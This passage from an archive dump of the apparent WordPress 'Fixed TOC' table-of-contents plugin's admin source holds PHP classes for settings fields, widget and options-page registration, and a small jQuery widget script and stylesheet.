'fixedtoc' ), 'thin' => esc_html__( 'Thin', 'fixedtoc' ), 'medium' => esc_html__( 'Medium', 'fixedtoc' ), 'bold' => esc_html__( 'Bold', 'fixedtoc' ) ); } /** * Get shape choices. * * @since 3.0.0 * @access public * * @param bool $circle * * @return array */ public function get_shape_choices( $circle = false ) { $choices = array( 'square' => esc_html__( 'Square', 'fixedtoc' ), 'round' => esc_html__( 'Round', 'fixedtoc' ) ); if ( $circle ) { $choices['circle'] = esc_html__( 'Circle', 'fixedtoc' ); } return $choices; } } /** * Get field data. * * @since 3.0.0 * * @param string $field_name * @param string $key * * @return mixed */ function fixedtoc_get_field_data( $field_name = '', $key = '' ) { static $data; if ( ! $data ) { $obj_field_data = new Fixedtoc_Field_Data(); require_once 'class-general-field-data.php'; require_once 'class-developer-field-data.php'; require_once 'class-location-field-data.php'; require_once 'class-trigger-field-data.php'; require_once 'class-contents-field-data.php'; require_once 'class-contents-header-field-data.php'; require_once 'class-contents-list-field-data.php'; require_once 'class-effects-field-data.php'; require_once 'class-color-field-data.php'; require_once 'class-widget-field-data.php'; $obj_field_data->add_data( new Fixedtoc_Field_General_Section_Data( $obj_field_data ) ); $obj_field_data->add_data( new Fixedtoc_Field_Developer_Section_Data( $obj_field_data ) ); $obj_field_data->add_data( new Fixedtoc_Location_Debug_Section_Data( $obj_field_data ) ); $obj_field_data->add_data( new Fixedtoc_Field_Trigger_Section_Data( $obj_field_data ) ); $obj_field_data->add_data( new Fixedtoc_Field_Contents_Section_Data( $obj_field_data ) ); $obj_field_data->add_data( new Fixedtoc_Field_Contents_Header_Section_Data( $obj_field_data ) ); $obj_field_data->add_data( new Fixedtoc_Field_Contents_List_Section_Data( $obj_field_data ) ); $obj_field_data->add_data( new Fixedtoc_Field_Effects_Section_Data( $obj_field_data ) ); $obj_field_data->add_data( new Fixedtoc_Field_Color_Section_Data( $obj_field_data ) ); $obj_field_data->add_data( new Fixedtoc_Field_Widget_Section_Data( $obj_field_data ) ); $data = $obj_field_data->get_data(); } if ( $field_name && $key ) { return isset( $data[ $field_name ][ $key ] ) ? $data[ $field_name ][ $key ] : ''; } elseif ( $field_name ) { return isset( $data[ $field_name ] ) ? $data[ $field_name ] : array(); } else { return $data; } } admin/field-data/class-validate-data.php 0000644 00000001241 14744617432 0014154 0 ustar 00 enable(); $this->post_types(); $this->headings(); $this->min_headings_num(); $this->exclude_keywords(); $this->title_to_id(); $this->id_prefix(); $this->in_widget(); $this->customize_css(); $this->shortcut(); $this->smooth_scroll(); $this->fixed_menu_selector(); $this->scroll_offset(); } /** * Enable FTOC * * @since 3.0.0 * @access private * * @return void */ private function enable() { $this->section_data['general_enable'] = array( 'name' => 'general_enable', 'label' => esc_html__( 'Enable Fixed TOC', 'fixedtoc' ), 'default' => '1', 'type' => 'checkbox', 'des' => esc_html__( 'Set to enable or disable TOC by default. Later you can also enable/disable it on every edit page.', 'fixedtoc' ) ); } /** * Supported post types * * @since 3.0.0 * @access private * * @return void */ private function post_types() { $this->section_data['general_post_types'] = array( 'name' => 'general_post_types', 'label' => esc_html__( 'Post types', 'fixedtoc' ), 'default' => array( 'post', 'page' ), 'type' => 'multi_checkbox', 'choices' => $this->obj_field_data->get_posttype_choices(), 'des' => esc_html__( 'Check the post types to be applied. Multiple choice.', 'fixedtoc' ) ); } /** * Headings to be accepted * * @since 3.0.0 * @access private * * @return void */ private function headings() { $this->section_data['general_h_tags'] = array( 'name' => 'general_h_tags', 'label' => esc_html__( 'Headings', 'fixedtoc' ), 'default' => array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ), 'type' => 'multi_checkbox', 'choices' => array( 'h1' => 'Heading 1', 'h2' => 'Heading 2', 'h3' => 'Heading 3', 'h4' => 'Heading 4', 'h5' => 'Heading 5', 'h6' => 'Heading 6', ), 'des' => esc_html__( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' ) ); } /** * Minimize headings number * * @since 3.0.0 * @access private * * @return void */ private function min_headings_num() { $this->section_data['general_min_headings_num'] = array( 'name' => 'general_min_headings_num', 'label' => esc_html__( 'Display TOC when', 'fixedtoc' ), 'default' => '', 'type' => 'number', 'input_attrs' => array( 'class' => 'small-text' ), 'sanitize' => 'absint', 'suffix' => esc_html__( 'or more headings are present.', 'fixedtoc' ) ); } /** * Exclude Headings. * * @since 3.0.0 * @access private * * @return void */ private function exclude_keywords() { $this->section_data['general_exclude_keywords'] = array( 'name' => 'general_exclude_keywords', 'label' => esc_html__( 'Exclude Headings', 'fixedtoc' ), 'default' => '', 'type' => 'textarea', 'input_attrs' => array( 'rows' => '10', 'class' => 'large-text code' ), 'meta_input_attrs' => array( 'rows' => '5', 'class' => 'large-text code' ), // 'sanitize' => array( 'Fixedtoc_Validate_Data', 'strip_tags' ), 'des' => nl2br( esc_html__( "Specify heading titles to be excluded from the TOC. \nOne title per line.", 'fixedtoc' ) ) ); } /** * Convert Heading Into ID. * * @since 3.0.0 * @access private * * @return void */ private function title_to_id() { $this->section_data['general_title_to_id'] = array( 'name' => 'general_title_to_id', 'label' => esc_html__( 'Convert Heading Into ID', 'fixedtoc' ), 'default' => '', 'type' => 'checkbox', 'des' => nl2br( esc_html__( "Automatically convert The heading to HTML id attribute.\nOnly supports English language headings.\nFor example: 'Download Source File' to 'download-source-file' or 'ftoc-download-source-file' if set the 'ftoc' prefix below.", 'fixedtoc' ) ) ); } /** * Id prefix * * @since 3.0.0 * @access private * * @return void */ private function id_prefix() { $this->section_data['general_id_prefix'] = array( 'name' => 'general_id_prefix', 'label' => esc_html__( 'Prefix', 'fixedtoc' ), 'default' => 'ftoc', 'type' => 'input', 'sanitize' => 'sanitize_html_class', 'des' => nl2br( esc_html__( "4 or more letters are good. \nIn order to keep the document structure safe, you should set it.", 'fixedtoc' ) ) ); } /** * Customize CSS * * @since 3.0.0 * @access private * * @return void */ private function customize_css() { if ( version_compare( $GLOBALS['wp_version'], '4.9', '>=' ) ) { $type = 'code_editor'; $input_attrs = []; // $input_attrs = array( // 'aria-describedby' => 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4', // ); } else { $type = 'textarea'; $input_attrs = array( 'style' => 'height: 100vh;' ); } $this->section_data['general_css'] = array( 'name' => 'general_css', 'label' => esc_html__( 'Customize CSS:', 'fixedtoc' ), 'default' => '', 'type' => $type, 'code_type' => 'text/css', 'input_attrs' => $input_attrs, 'sanitize' => array( 'Fixedtoc_Validate_Data', 'strip_tags' ), 'des' => esc_html__( 'You can add your own CSS here. Only load if the current page has a TOC.', 'fixedtoc' ), 'transport' => 'postMessage' ); } /** * Display in widget * * @since 3.0.0 * @access private * * @return void */ private function in_widget() { /** @noinspection HtmlUnknownTarget */ $this->section_data['general_in_widget'] = array( 'name' => 'general_in_widget', 'label' => esc_html__( 'Display In Widget', 'fixedtoc' ), 'default' => '', 'type' => 'checkbox', 'des' => sprintf( esc_html__( 'Ensure that you have added the Fixed TOC widget in the ', 'fixedtoc' ) . '
' . esc_html__( 'admin widgets page', 'fixedtoc' ) . '
', esc_attr( admin_url( 'widgets.php' ) ) ) ); } /** * Quick minimize * * @since 3.0.0 * @access private * * @return void */ private function shortcut() { $this->section_data['general_shortcut'] = array( 'name' => 'general_shortcut', 'label' => esc_html__( 'Shortcut', 'fixedtoc' ), 'default' => array( 'quick', 'esc', 'enter' ), 'type' => 'multi_checkbox', 'choices' => array( 'quick' => esc_html__( 'Quick Min', 'fixedtoc' ), 'esc' => esc_html__( 'Esc Min', 'fixedtoc' ), 'enter' => esc_html__( 'Enter Max', 'fixedtoc' ), ), 'des' => nl2br( esc_html__( "Quick Min: Click anywhere to minimize TOC.\nEsc: Press the 'esc' keyboard to minimize TOC.\nEnter: Press the 'enter' keyboard to maximize TOC.", 'fixedtoc' ) ) ); } /** * Smooth scrolling feature. * * @since 3.1.25 * @access private * * @return void */ private function smooth_scroll() { $this->section_data['general_smooth_scroll'] = array( 'name' => 'general_smooth_scroll', 'label' => esc_html__( 'Smooth Scrolling', 'fixedtoc' ), 'default' => '1', 'type' => 'checkbox', 'sanitize' => 'absint', 'des' => nl2br( esc_html__( 'Uncheck it if there is a conflict with the other similar feature has existed on your website.', 'fixedtoc' ) ) ); } /** * Fixed menu CSS selectors. * * @since 3.0.0 * @access private * * @return void */ private function fixed_menu_selector() { $this->section_data['debug_menu_selector'] = array( 'name' => 'debug_menu_selector', 'label' => esc_html__( 'Fixed Headers', 'fixedtoc' ), 'default' => '', 'type' => 'text', 'input_attrs' => array( 'class' => 'regular-text' ), 'sanitize' => 'sanitize_text_field', 'des' => nl2br( esc_html__( "If your theme's header is fixed, click the contents link might cover the Heading. Input CSS selectors of the fixed menu in here.\nSupport multiple fixed headers.", 'fixedtoc' ) ) ); } /** * Scroll offset * * @since 3.0.0 * @access private * * @return void */ private function scroll_offset() { $this->section_data['debug_scroll_offset'] = array( 'name' => 'debug_scroll_offset', 'label' => esc_html__( 'Scroll Offset', 'fixedtoc' ), 'default' => 10, 'type' => 'number', 'input_attrs' => array( 'class' => 'small-text' ), 'sanitize' => array( 'Fixedtoc_Validate_Data', 'intval_base10' ), 'des' => esc_html__( 'Setting spacing between heading and the top of browser after clicking on the contents link. (Excluding the fixed head menu and the admin toolbar)', 'fixedtoc' ) ); } } admin/field-data/abstract-field-section-data.php 0000644 00000001565 14744617432 0015617 0 ustar 00 obj_field_data = $obj_field_data; $this->create_section_data(); } /** * Create section data. * * @since 3.0.0 * @access protected */ abstract protected function create_section_data(); /** * Get the section data. * * @since 3.0.0 * @access public * * @return array */ public function get_section_data() { return $this->section_data; } } admin/field-data/class-color-field-data.php 0000644 00000014037 14744617432 0014571 0 ustar 00 button(); $this->button_bg(); $this->contents_header(); $this->contents_header_bg(); $this->button_border(); $this->contents_border(); $this->contents_list_bg(); $this->contents_list_link(); $this->contents_list_hover_link(); $this->contents_list_active_link(); $this->contents_list_active_link_bg(); $this->target_hint(); } /** * Trigger button * * @since 3.0.0 * @access private * * @return void */ private function button() { $this->section_data['color_button'] = array( 'name' => 'color_button', 'label' => esc_html__( 'Trigger Button Color', 'fixedtoc' ), 'default' => '#333', 'type' => 'color', 'sanitize' => 'sanitize_hex_color', 'transport' => 'postMessage' ); } /** * Trigger button background * * @since 3.0.0 * @access private * * @return void */ private function button_bg() { $this->section_data['color_button_bg'] = array( 'name' => 'color_button_bg', 'label' => esc_html__( 'Trigger Button Background Color', 'fixedtoc' ), 'default' => '#f3f3f3', 'type' => 'color', 'sanitize' => 'sanitize_hex_color', 'transport' => 'postMessage' ); } /** * Trigger button border color * * @since 3.0.0 * @access private * * @return void */ private function button_border() { $this->section_data['color_button_border'] = array( 'name' => 'color_button_border', 'label' => esc_html__( 'Trigger Button Border Color', 'fixedtoc' ), 'default' => '#333', 'type' => 'color', 'sanitize' => 'sanitize_hex_color', 'transport' => 'postMessage' ); } /** * Contents border color * * @since 3.0.0 * @access private * * @return void */ private function contents_border() { $this->section_data['color_contents_border'] = array( 'name' => 'color_contents_border', 'label' => esc_html__( 'Contents Border Color', 'fixedtoc' ), 'default' => '#333', 'type' => 'color', 'sanitize' => 'sanitize_hex_color', 'transport' => 'postMessage' ); } /** * Contents header * * @since 3.0.0 * @access private * * @return void */ private function contents_header() { $this->section_data['color_contents_header'] = array( 'name' => 'color_contents_header', 'label' => esc_html__( 'Contents Header Color', 'fixedtoc' ), 'default' => '#333', 'type' => 'color', 'sanitize' => 'sanitize_hex_color', 'transport' => 'postMessage' ); } /** * Contents header background * * @since 3.0.0 * @access private * * @return void */ private function contents_header_bg() { $this->section_data['color_contents_header_bg'] = array( 'name' => 'color_contents_header_bg', 'label' => esc_html__( 'Contents Header Background Color', 'fixedtoc' ), 'default' => '#f3f3f3', 'type' => 'color', 'sanitize' => 'sanitize_hex_color', 'transport' => 'postMessage' ); } /** * Contents list background * * @since 3.0.0 * @access private * * @return void */ private function contents_list_bg() { $this->section_data['color_contents_list_bg'] = array( 'name' => 'color_contents_list_bg', 'label' => esc_html__( 'Contents List Background Color', 'fixedtoc' ), 'default' => '#f3f3f3', 'type' => 'color', 'sanitize' => 'sanitize_hex_color', 'transport' => 'postMessage' ); } /** * Contents list link * * @since 3.0.0 * @access private * * @return void */ private function contents_list_link() { $this->section_data['color_contents_list_link'] = array( 'name' => 'color_contents_list_link', 'label' => esc_html__( 'Contents Link Color', 'fixedtoc' ), 'default' => '#333', 'type' => 'color', 'sanitize' => 'sanitize_hex_color', 'transport' => 'postMessage' ); } /** * Contents list link:hover * * @since 3.0.0 * @access private * * @return void */ private function contents_list_hover_link() { $this->section_data['color_contents_list_hover_link'] = array( 'name' => 'color_contents_list_hover_link', 'label' => esc_html__( 'Contents Link Hover Color', 'fixedtoc' ), 'default' => '#00A368', 'type' => 'color', 'sanitize' => 'sanitize_hex_color', 'transport' => 'postMessage' ); } /** * Contents list active link * * @since 3.0.0 * @access private * * @return void */ private function contents_list_active_link() { $this->section_data['color_contents_list_active_link'] = array( 'name' => 'color_contents_list_active_link', 'label' => esc_html__( 'Contents Link Active Color', 'fixedtoc' ), 'default' => '#fff', 'type' => 'color', 'sanitize' => 'sanitize_hex_color', 'transport' => 'postMessage' ); } /** * Contents list active link background * * @since 3.0.0 * @access private * * @return void */ private function contents_list_active_link_bg() { $this->section_data['color_contents_list_active_link_bg'] = array( 'name' => 'color_contents_list_active_link_bg', 'label' => esc_html__( 'Contents Link Active Background Color', 'fixedtoc' ), 'default' => '#dd3333', 'type' => 'color', 'sanitize' => 'sanitize_hex_color', 'transport' => 'postMessage' ); } /** * Target hint * * @since 3.0.0 * @access private * * @return void */ private function target_hint() { $this->section_data['color_target_hint'] = array( 'name' => 'color_target_hint', 'label' => esc_html__( 'Target Hint Color', 'fixedtoc' ), 'default' => '#dd3333', 'type' => 'color', 'sanitize' => 'sanitize_hex_color', 'des' => esc_html__( 'Browser will scroll to the target heading then show a short color hint when clicking a contents link.', 'fixedtoc' ), 'transport' => 'postMessage' ); } } admin/widget/widget-script.js 0000644 00000013321 14744617432 0012256 0 ustar 00 'use strict'; (function($) { // Toggle fields (function() { // Set data var data = { contents_header_font_family: { contents_header_customize_font_family: { type: 'select', val: 'customize', increase: 1 } }, contents_list_font_family: { contents_list_customize_font_family: { type: 'select', val: 'customize', increase: 1 } }, contents_list_nested: { contents_list_strong_1st: {type: 'check', val: true, increase: 1}, contents_list_colexp: {type: 'check', val: true, increase: 1}, contents_list_sub_icon: {type: 'check', val: true, increase: 1 / 2}, contents_list_colexp_init_state: { type: 'check', val: true, increase: 1 / 4 }, contents_list_accordion: {type: 'check', val: true, increase: 0.3334} }, contents_list_colexp: { contents_list_sub_icon: {type: 'check', val: true, increase: 1 / 2}, contents_list_colexp_init_state: { type: 'check', val: true, increase: 1 / 4 }, contents_list_accordion: {type: 'check', val: true, increase: 0.3334} }, contents_list_sub_icon: { contents_list_accordion: {type: 'check', val: true, increase: 0.3334}, contents_list_colexp_init_state: { type: 'check', val: true, increase: 1 / 4 } }, contents_list_accordion: { contents_list_colexp_init_state: { type: 'check', val: false, increase: 1 / 4 } } }; // End data // Detect input value // noinspection DuplicatedCode var detectInput = { isIncrease: function(type, $trigger, val) { var result = false; switch (type) { case 'check' : { result = this.check($trigger, val); break; } case 'multi_check' : { result = this.multiCheck($trigger, val); break; } case 'select' : { result = this.select($trigger, val); break; } } return result; }, check: function($trigger, val) { var checked = false; if ($trigger.is(':checked')) { checked = true; } return val == checked; }, multiCheck: function($trigger, val) { var checked = false; $trigger.each(function() { if ($(this).is(':checked')) { checked = (-1 !== val.indexOf($(this).val())); } }); return checked; }, select: function($trigger, val) { return val == $trigger.val(); } }; // End detect // Control var control = { fields: {}, toggleFields: function(index) { this.setFields(index); $.each(data, function(k, v) { var $trigger = control.getTrigger(k, index); control.toggle(v, index); $trigger.on('change', function() { control.setFields(index); control.toggle(v, index); }); }); }, toggle: function(targets, index) { // noinspection JSUnusedLocalSymbols $.each(this.fields, function(k, v) { var $target = control.getTarget(k, index); if (1 <= control.fields[k]) { $target.show(200); } else { $target.hide(200); } }); }, setFields: function(index) { this.fields = {}; $.each(data, function(triggerName, targets) { var $trigger = control.getTrigger(triggerName, index); // noinspection DuplicatedCode $.each(targets, function(targetName, v) { var visibility = 0; if (undefined !== control.fields[targetName]) { visibility = control.fields[targetName]; } if (detectInput.isIncrease(v.type, $trigger, v.val)) { visibility = visibility + parseFloat(v.increase); } else { visibility = 0; } control.fields[targetName] = visibility; }); }); }, getTrigger: function(triggerName, index) { return $('#div-widget-fixedtoc-' + index + '-' + triggerName). find('input:not([type="hidden"]), textarea, select'); }, getTarget: function(targetName, index) { return $('#div-widget-fixedtoc-' + index + '-' + targetName); } }; // End control function initToggleFields(widget) { if (!widget.length) { return; } var id = widget.attr('id'); var match = id.match(/fixedtoc-(\d)$/i); if (match) { var index = match[1]; control.toggleFields(index); } } function onFormUpdate(event, widget) { initToggleFields(widget); } $(document).on('widget-added widget-updated', onFormUpdate); $(document).ready(function() { $('#widgets-right .widget').each(function() { initToggleFields($(this)); }); }); })(); // End toggle fields. // Color Picker (function() { function initColorPicker(widget) { // noinspection JSUnresolvedFunction widget.find('.fixedtoc-color-field').wpColorPicker({ change: _.throttle(function() { // For Customizer $(this).trigger('change'); }) }); } function onFormUpdate(event, widget) { initColorPicker(widget); } $(document).on('widget-added widget-updated', onFormUpdate); $(document).ready(function() { $('#widgets-right .widget:has(.fixedtoc-color-field)').each(function() { initColorPicker($(this)); }); }); })(); })(jQuery); admin/widget/widget-style.css 0000644 00000000151 14744617432 0012263 0 ustar 00 .ftoc-widget-form .ftoc-section-title { font-size: 1em; } .ftoc-widget-field { margin: 13px 0; } admin/widget/class-widget-sections.php 0000644 00000010502 14744617432 0014055 0 ustar 00 obj_widget = $obj_widget; // Add sections $this->widget_section(); $this->contents_section(); $this->contents_header_section(); $this->contents_list_section(); $this->effect_section(); $this->color_scheme_section(); } /** * Contents section. * * @since 3.0.0 */ private function contents_section() { // Add section $section_id = $this->obj_widget->add_section( 'contents', esc_html__( 'Contents', 'fixedtoc' ), '__return_false' ); // Add fields $this->obj_widget->add_field( $section_id, 'contents_shape' ); $this->obj_widget->add_field( $section_id, 'contents_border_width' ); $this->obj_widget->add_field( $section_id, 'contents_col_exp_init' ); } /** * Widget section. * * @since 3.0.0 */ private function widget_section() { // Add section $section_id = $this->obj_widget->add_section( 'widget', '', '__return_false' ); // Add fields $this->obj_widget->add_field( $section_id, 'widget_fixed' ); } /** * Add a contents-header section * * @since 3.0.0 * @access private * * @return void */ private function contents_header_section() { $section_id = $this->obj_widget->add_section( 'contents_header', esc_html__( 'Contents Header', 'fixedtoc' ), '__return_false' ); $this->obj_widget->add_field( $section_id, 'contents_header_title' ); $this->obj_widget->add_field( $section_id, 'contents_header_font_size' ); $this->obj_widget->add_field( $section_id, 'contents_header_font_family' ); $this->obj_widget->add_field( $section_id, 'contents_header_customize_font_family' ); $this->obj_widget->add_field( $section_id, 'contents_header_font_bold' ); $this->obj_widget->add_field( $section_id, 'contents_header_title_tag' ); } /** * Add contents list section * * @since 3.0.0 * @access private * * @return void */ private function contents_list_section() { $section_id = $this->obj_widget->add_section( 'contents_list', esc_html__( 'Contents List', 'fixedtoc' ), '__return_false' ); $this->obj_widget->add_field( $section_id, 'contents_list_font_size' ); $this->obj_widget->add_field( $section_id, 'contents_list_font_family' ); $this->obj_widget->add_field( $section_id, 'contents_list_customize_font_family' ); $this->obj_widget->add_field( $section_id, 'contents_list_style_type' ); $this->obj_widget->add_field( $section_id, 'contents_list_nested' ); $this->obj_widget->add_field( $section_id, 'contents_list_strong_1st' ); $this->obj_widget->add_field( $section_id, 'contents_list_colexp' ); $this->obj_widget->add_field( $section_id, 'contents_list_sub_icon' ); $this->obj_widget->add_field( $section_id, 'contents_list_accordion' ); $this->obj_widget->add_field( $section_id, 'contents_list_colexp_init_state' ); } /** * Add an effects section * * @since 3.0.0 * @access private * * @return void */ private function effect_section() { $section_id = $this->obj_widget->add_section( 'effects', esc_html__( 'Effects', 'fixedtoc' ), '__return_false' ); $this->obj_widget->add_field( $section_id, 'effects_active_link' ); } /** * Add a color scheme section * * @since 3.0.0 * @access private * * @return void */ private function color_scheme_section() { $section_id = $this->obj_widget->add_section( 'color_scheme', esc_html__( 'Color Scheme', 'fixedtoc' ), '__return_false' ); $this->obj_widget->add_field( $section_id, 'color_contents_border' ); $this->obj_widget->add_field( $section_id, 'color_contents_header' ); $this->obj_widget->add_field( $section_id, 'color_contents_header_bg' ); $this->obj_widget->add_field( $section_id, 'color_contents_list_bg' ); $this->obj_widget->add_field( $section_id, 'color_contents_list_link' ); $this->obj_widget->add_field( $section_id, 'color_contents_list_hover_link' ); $this->obj_widget->add_field( $section_id, 'color_contents_list_active_link' ); $this->obj_widget->add_field( $section_id, 'color_contents_list_active_link_bg' ); $this->obj_widget->add_field( $section_id, 'color_target_hint' ); } } admin/widget/class-widget.php 0000644 00000020003 14744617432 0012225 0 ustar 00 $classname, 'description' => esc_html__( 'Display a Fixed TOC to the current page content.', 'fixedtoc' ), ) // Args ); // Register sections add_action( 'admin_init', array( $this, 'register_sections' ) ); // Scripts add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); } /** * Front-end display of widget. * * @since 3.0.0. * @access public * @see WP_Widget::widget() * * @param array $args Widget arguments. * @param array $instance Saved values from a database. */ public function widget( $args, $instance ) { if ( 1 <= self::$index ) { return; } if ( ! fixedtoc_is_true( 'toc_page' ) || ! fixedtoc_is_true( 'in_widget' ) ) { return; } $GLOBALS['FIXEDTOC_WIDGET_VALS'] = $instance; $contents = apply_filters( 'fixedtoc_widget_content', '' ); if ( empty( $contents ) ) { return; } do_action( 'fixedtoc_before_widget' ); echo $args['before_widget']; echo '
' . $contents . '
'; echo $args['after_widget']; do_action( 'fixedtoc_after_widget' ); self::$index ++; } /** * Back-end widget form. * * @since 3.0.0. * @access public * @see WP_Widget::form() * * @param array $instance Previously saved values from a database. */ public function form( $instance ) { printf( '
%s
', esc_html__( 'Make sure you have added only one the Fixed TOC widget at the same page.', 'fixedtoc' ) ); require_once plugin_dir_path( dirname( __FILE__ ) ) . 'fields/class-fields-factory.php'; // do_settings_sections($this->fixedtoc_widget_sections_slug); $this->do_settings_sections( $instance ); } /** * Prints out all settings sections. * * @since 3.0.0 * @access private * * @param array $instance Previously saved values from a database. * * @return void */ private function do_settings_sections( $instance ) { global $wp_settings_sections, $wp_settings_fields; $page = $this->fixedtoc_widget_sections_slug; if ( ! isset( $wp_settings_sections[ $page ] ) ) { return; } echo '
'; foreach ( (array) $wp_settings_sections[ $page ] as $section ) { if ( $section['title'] ) { echo "
{$section['title']}
\n"; } if ( $section['callback'] ) { call_user_func( $section['callback'], $section ); } if ( ! isset( $wp_settings_fields ) || ! isset( $wp_settings_fields[ $page ] ) || ! isset( $wp_settings_fields[ $page ][ $section['id'] ] ) ) { continue; } $this->do_settings_fields( $page, $section['id'], $instance ); } echo '
'; } /** * Print out the settings fields for a particular settings section. * * @since 3.0.0 * @access private * * @param string $page . Slug the title of the admin page whose settings fields you want to show. * @param string $section . Slug title of the settings section whose fields you want to show. * @param array $instance Previously saved values from a database. * * @return void * @noinspection PhpUnusedLocalVariableInspection */ private function do_settings_fields( $page, $section, $instance ) { global $wp_settings_fields; if ( ! isset( $wp_settings_fields[ $page ][ $section ] ) ) { return; } foreach ( (array) $wp_settings_fields[ $page ][ $section ] as $field ) { $data_name = isset( $field['args']['data_name'] ) ? $field['args']['data_name'] : ''; $name = $this->get_field_name( $data_name ); $id = $this->get_field_id( $data_name ); $field['args']['name'] = $this->get_field_name( $data_name ); $field['args']['input_attrs']['id'] = $id; $field['args']['label_for'] = $id; $field['args']['value'] = isset( $instance[ $data_name ] ) ? $instance[ $data_name ] : fixedtoc_get_option( $data_name ); echo '
'; if ( empty( $field['args']['label'] ) ) { echo ''; } elseif ( ! empty( $field['args']['label_for'] ) ) { echo '
' . $field['title'] . '
'; } else { echo '
' . $field['title'] . '
'; } call_user_func( $field['callback'], $field['args'] ); echo '
'; } } /** * Sanitize widget form values as they are saved. * * @since 3.0.0. * @see WP_Widget::update() * * @param array $new_instance Values just sent to be saved. * @param array $old_instance Previously saved values from a database. * * @return array Updated safe values to be saved. */ public function update( $new_instance, $old_instance ) { return Fixedtoc_Admin_Control::sanitize( $new_instance ); } /** * register sections. * * @since 3.0.0 * @access public * * @return void */ public function register_sections() { require_once 'class-widget-sections.php'; new Fixedtoc_Widget_Sections( $this ); } /** * Add section. * * @since 3.0.0 * @access public * * @param string $id * @param string $title * @param string $callback * * @return string */ public function add_section( $id, $title, $callback ) { add_settings_section( $id, $title, $callback, $this->fixedtoc_widget_sections_slug ); return $id; } /** * Add section. * * @since 3.0.0 * @access public * * @param string $section_id * @param string $field_name * * @return void */ public function add_field( $section_id, $field_name ) { $name = fixedtoc_get_field_data( $field_name, 'name' ); $title = fixedtoc_get_field_data( $field_name, 'label' ); $args = fixedtoc_get_field_data( $field_name ); $args['input_attrs'] = isset( $args['input_attrs'] ) ? $args['input_attrs'] : array(); $args['input_attrs'] = isset( $args['widget_input_attrs'] ) ? $args['widget_input_attrs'] : $args['input_attrs']; $args['des'] = isset( $args['widget_des'] ) ? $args['widget_des'] : ''; $args['data_name'] = $name; add_settings_field( $name, $title, array( $this, 'render_field' ), $this->fixedtoc_widget_sections_slug, $section_id, $args ); } /** * Render field. * * @since 3.0.0 * @access public * * @param array $args */ public function render_field( $args ) { if ( ! $args ) { echo ''; } $html = isset( $args['prefix'] ) && $args['prefix'] ? $args['prefix'] . ' ' : ''; $field_obj = new Fixedtoc_Fields_Factory( $args ); $html .= $field_obj->get_html(); $html .= isset( $args['suffix'] ) && $args['suffix'] ? ' ' . $args['suffix'] . '
' : '
'; $html .= isset( $args['des'] ) && $args['des'] ? '
' . $args['des'] . '
' : ''; echo $html; } /** * Enqueue scripts. * * @since 3.0.0 * @access public * * @param string $hook * * @return void */ public function enqueue_scripts( $hook ) { if ( 'widgets.php' != $hook ) { return; } wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'wp-color-picker' ); wp_enqueue_style( 'fixedtoc_widget_style', plugins_url( 'widget-style.css', __FILE__ ) ); wp_enqueue_script( 'underscore' ); wp_enqueue_script( 'fixedtoc_widget_script', plugins_url( 'widget-script.js', __FILE__ ), array( 'jquery' ), '', true ); } } admin/setting/class-setting.php 0000644 00000012454 14744617432 0012624 0 ustar 00 hook_suffix = add_options_page( esc_html__( 'Fixed TOC', 'fixedtoc' ), esc_html__( 'Fixed TOC', 'fixedtoc' ), 'manage_options', $this->menu_slug, array( $this, 'render_settings_content' ) ); // Print inline styles. add_action( 'admin_head-' . $this->hook_suffix, array( $this, 'print_inline_styles' ) ); } /** * Render settings page content. * * @since 3.0.0 * @access public * * @void */ public function render_settings_content() { require_once plugin_dir_path( dirname( __FILE__ ) ) . 'fields/class-fields-factory.php'; ?>
option_group ); do_settings_sections( $this->menu_slug ); submit_button(); ?>
option_group, $this->option_name, array( $this, 'sanitize_setting' ) ); // Add sections require_once 'class-setting-sections.php'; new Fixedtoc_Setting_Sections( $this ); } /** * Sanitize Setting. * * @since 3.0.0 * @access public * * @param array $new_vals * * @return array */ public function sanitize_setting( $new_vals ) { if ( ! $new_vals ) { return $new_vals; } $new_vals = Fixedtoc_Admin_Control::sanitize( $new_vals ); // Merge customize option value. $old_vals = get_option( 'fixed_toc' ); if ( false !== $old_vals ) { $new_vals = array_merge( $old_vals, $new_vals ); } return $new_vals; } /** * Add section. * * @since 3.0.0 * @access public * * @param string $id * @param string $title * @param string $callback * * @return string */ public function add_section( $id, $title, $callback ) { add_settings_section( $id, $title, $callback, $this->menu_slug ); return $id; } /** * Add section. * * @since 3.0.0 * @access public * * @param string $section_id * @param string $field_name * * @return void */ public function add_field( $section_id, $field_name ) { $name = fixedtoc_get_field_data( $field_name, 'name' ); $id = sanitize_key( 'fixedtoc_option_' . $name ); $title = fixedtoc_get_field_data( $field_name, 'label' ); $args = fixedtoc_get_field_data( $field_name ); $args['input_attrs']['id'] = $id; $args['label_for'] = $id; $args['name'] = $this->option_name . '[' . $name . ']'; $args['value'] = fixedtoc_get_option( $name ); add_settings_field( $id, $title, array( $this, 'render_field' ), $this->menu_slug, $section_id, $args ); } /** * Render field. * * @since 3.0.0 * @access public * * @param array $args * * @noinspection DuplicatedCode */ public function render_field( $args ) { if ( ! $args ) { echo ''; } $html = isset( $args['prefix'] ) && $args['prefix'] ? $args['prefix'] . ' ' : ''; $field_obj = new Fixedtoc_Fields_Factory( $args ); $html .= $field_obj->get_html(); $html .= isset( $args['suffix'] ) && $args['suffix'] ? ' ' . $args['suffix'] : ''; $html .= isset( $args['des'] ) && $args['des'] ? '
' . $args['des'] . '
' : ''; echo $html; } /** * Enqueue scripts * * @since 3.0.0 * @access public * * @param string $hook * * @return void */ public function enqueue_scripts( $hook ) { if ( 'settings_page_fixedtoc' != $hook ) { return; } wp_enqueue_script( 'fixedtoc_setting_script', plugins_url( 'setting.js', __FILE__ ), array( 'jquery' ) ); } /** * Print inline styles * * @since 3.0.0 * @access public * * @return void */ public function print_inline_styles() { ?> obj_setting = $obj_setting; // Add sections $this->general_section(); $this->appearance_section(); $this->developer_section(); } /** * Add general section * * @since 3.0.0 * @access private * * @return void */ private function general_section() { $section_id = $this->obj_setting->add_section( 'general', esc_html__( 'General', 'fixedtoc' ), '__return_false' ); $this->obj_setting->add_field( $section_id, 'general_enable' ); $this->obj_setting->add_field( $section_id, 'general_post_types' ); $this->obj_setting->add_field( $section_id, 'general_h_tags' ); $this->obj_setting->add_field( $section_id, 'general_min_headings_num' ); $this->obj_setting->add_field( $section_id, 